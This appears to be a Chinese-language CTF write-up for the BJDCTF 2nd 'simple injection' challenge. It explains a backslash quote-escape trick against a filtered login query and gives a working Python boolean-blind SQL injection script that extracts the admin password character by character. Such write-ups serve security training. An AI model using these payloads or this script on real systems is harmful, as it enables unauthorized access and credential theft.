[BJDCTF 2nd]简单注入

[BJDCTF 2nd]简单注入

考点

  • 布尔盲注

wp

在 hint.txt 发现提示

在 hint.txt 发现提示

Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.

select * from users where username='$_POST["username"]' and password='$_POST["password"]';

//出题人四级压线才过 见谅见谅 领会精神

首先,burp爆破一下,看一下过滤了什么,union like select and -- = & select " ' 这些都被过滤 根据给出的语句,如果输入 admin\ 则拼接之后如下

select * from users where username='admin\' and password=' or 1 # ';

后台执行SQL语句时将第二个单引号转义,那么第一个单引号闭合的就是第三个单引号,最后一个单引号使用#注释,再配合or语句,就可以进行注入。接下来是注入回显的判断,password输入 or 1 # ,返回 BJD needs to be stronger 输入 or 0 # 返回 You konw ,P3rh4ps needs a girl friend

这里就可以进行布尔盲注,最简单的爆破脚本如下

import requests

url = 'http://305e9315-9616-4f0c-a957-36ea479221ed.node3.buuoj.cn/index.php'

flag = ''

for x in range(1,30):
    for i in range(32, 127):
    
        payload = f"or ascii(substr(password,{x},1))>{i} #"
        #print(payload)
        data = {
            "username": "admin\\",
            "password": payload
        }
        r = requests.post(url, data)
        if "BJD needs to be stronger" not in r.text:
            flag = flag + chr(i)
            break
    print(flag)

假设第一个字符为 a,a 的 ASCII 为 97,97大于32,所以payload返回BJD needs to be stronger,当 i 增加到 97 时,97大于97是假的,所以payload返回 You konw ,P3rh4ps needs a girl friend,此时第一个字符就是chr(97)

最后更新于